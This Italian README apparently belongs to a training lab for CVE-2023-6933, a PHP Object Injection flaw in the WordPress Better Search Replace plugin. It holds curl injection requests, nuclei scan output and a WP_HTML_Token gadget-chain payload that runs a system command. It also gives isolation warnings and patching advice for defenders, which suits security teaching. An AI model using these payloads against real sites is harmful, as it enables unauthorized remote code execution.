Laboratorio di vulnerabilità CVE-2023-6933
Panoramica
Questo ambiente di laboratorio dimostra la CVE-2023-6933, una vulnerabilità critica di PHP Object Injection nel plugin WordPress Better Search Replace versioni ≤1.4.4.
Dettagli della vulnerabilità
- ID CVE: CVE-2023-6933
- Punteggio CVSS: 9.8 (Critico)
- Plugin interessato: Better Search Replace ≤1.4.4
- Tipo di vulnerabilità: PHP Object Injection tramite input utente deserializzato
- Vettore di attacco: endpoint AJAX
/wp-admin/admin-ajax.php con azione search_replace_db
Avvio rapido
1. Distribuire il laboratorio
# Clone the repository
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Deploy using Docker Hub image (automatic pull)
docker-compose up -d
Il laboratorio automaticamente:
- Esegue il pull dell'immagine WordPress vulnerabile da Docker Hub (
trex999/vulnerable-bsr-lab:latest)
- Configura WordPress con MySQL e phpMyAdmin
- Installa e attiva il plugin vulnerabile Better Search Replace (v1.4.4)
- Completa l'installazione in circa 60 secondi
2. Accedere all'ambiente
3. Testare la vulnerabilità
# Run the automated POC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Manual testing via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Analisi tecnica
La vulnerabilità
Il plugin Better Search Replace contiene una vulnerabilità di PHP Object Injection nel suo gestore AJAX. La vulnerabilità si verifica quando:
- L'input utente viene passato al parametro
search_for tramite POST a /wp-admin/admin-ajax.php
- L'azione è impostata su
search_replace_db
- L'input contiene oggetti PHP serializzati che vengono deserializzati senza una validazione adeguata
- Ciò consente l'istanziazione arbitraria di oggetti e la potenziale esecuzione di codice
Metodi di verifica del POC
Il nostro template nuclei dimostra la vulnerabilità attraverso molteplici fasi di verifica:
- Rilevamento del plugin: Conferma la presenza della versione vulnerabile del plugin
- Test di Object Injection: Invia payload serializzati e analizza le risposte
- Verifica comportamentale: Conferma l'avvenuta deserializzazione degli oggetti
Caratteristiche principali di questo laboratorio
- Nessuna dipendenza dagli errori: Il POC dimostra la vulnerabilità effettiva tramite analisi comportamentale, non messaggi di errore
- Test funzionali: Utilizza oggetti serializzati sicuri per verificare la deserializzazione senza danneggiare il sistema
- Distribuzione automatizzata: Configurazione completa del laboratorio senza alcuna configurazione manuale
- Molteplici metodi di test: Sia template nuclei automatizzati che comandi curl manuali
Documentazione
Riferimento rapido
- README.md: Questo file - avvio rapido e panoramica
- CVE-2023-6933_POC_DOCUMENTATION.md: Documentazione tecnica completa con analisi dettagliata del PoC
- POC_TEMPLATE_SUMMARY.md: Conformità ai requisiti e conferma della consegna
Template PoC professionale
Il template nuclei (nuclei-templates/cve-2023-6933.yaml) è strutturato professionalmente:
- Codice pulito senza commenti eccessivi
- Documentazione tecnica completa in file separati
- Formato template pronto per la produzione
- Piena conformità agli standard della ricerca sulla sicurezza
Risultati dei test
Esecuzione POC riuscita
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
Il POC riesce a:
- ✅ Rilevare la versione vulnerabile del plugin
- ✅ Confermare la capacità di object injection tramite l'analisi delle risposte
- ✅ Dimostrare la vulnerabilità funzionale senza dipendere dagli errori
- ✅ Fornire una verifica comportamentale dell'avvenuta deserializzazione
Avviso di sicurezza
⚠️ ATTENZIONE: Questo ambiente contiene software volutamente vulnerabile. Utilizzare esclusivamente in ambienti di test isolati. Non distribuire in produzione o su sistemi accessibili da Internet.
Pulizia
Riferimenti
Creato a scopo educativo e di ricerca sulla sicurezza
Ambiente Docker (Docker_LAB_SETUP/)
- WordPress 6.4.0 con Better Search Replace 1.4.3 vulnerabile
- Server di database MySQL 8.0
- phpMyAdmin per la gestione del database
- Ambiente vulnerabile preconfigurato
Script di exploit
cve_2023_6933_exploit.php - Toolkit completo di sfruttamento in PHP
wp_html_token_poc.php - Dimostrazione RCE per WordPress 6.4.0+
bsr_direct_exploit.php - Test diretto della vulnerabilità
Strumenti di rilevamento
nuclei-templates/cve-2023-6933.yaml - Template nuclei avanzato
manual-test.sh - Script completo di test manuale
🎯 Metodologia di sfruttamento corretta
Questo laboratorio dimostra il rilevamento non basato sugli errori seguendo le migliori pratiche per la ricerca sulle vulnerabilità:
1. Rilevamento basato sul successo
Invece di fare affidamento sugli errori HTTP 500, i nostri strumenti rilevano:
- Elaborazione riuscita del payload
- Deserializzazione di oggetti serializzati
- Pattern di risposta dell'applicazione
- Prove di sfruttamento funzionale
2. Catena RCE WP_HTML_Token
Utilizzando la classe WP_HTML_Token di WordPress 6.4.0+ per una vera RCE:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
3. Molteplici vettori di attacco
- Sfruttamento dell'endpoint AJAX (
admin-ajax.php)
- Manipolazione diretta dell'interfaccia del plugin
- Iniezione nel database tramite operazioni di ricerca/sostituzione
🔬 Approccio di test
Test manuale
# Test basic plugin presence
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Test vulnerability with safe payload
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
Caratteristiche del template Nuclei
- Test multi-vettore: 5 diverse richieste HTTP
- Matcher basati sul successo: Cerca l'elaborazione funzionale, non gli errori
- Estrazione completa: Rilevamento della versione, analisi delle risposte
- Payload sicuri: Approccio di test non distruttivo
Caratteristiche del test manuale
- Rilevamento e validazione della versione del plugin
- Generazione e test di molteplici payload
- Dimostrazione RCE WP_HTML_Token
- Verifica completa della vulnerabilità
📊 Punti di accesso al laboratorio
🛡️ Considerazioni sulla sicurezza
Per i ricercatori
- Questo è un ambiente deliberatamente vulnerabile
- Utilizzare solo in reti isolate/controllate
- Non per ambienti di produzione
- Solo a scopo educativo
Per i difensori
- Aggiornare Better Search Replace a ≥ 1.4.5
- Implementare regole WAF per i dati serializzati
- Monitorare i pattern di object injection
- Audit di sicurezza regolari dei plugin WordPress
📚 Valore educativo
Questo laboratorio fornisce esperienza pratica con:
- Vulnerabilità di PHP Object Injection
- Analisi della sicurezza dei plugin WordPress
- Attacchi di serializzazione/deserializzazione
- Sfruttamento di gadget chain
- Automazione del rilevamento delle vulnerabilità
- Metodologie di test di sicurezza
Autore: Trex
Versione del laboratorio: 2.0 - Metodologia POC avanzata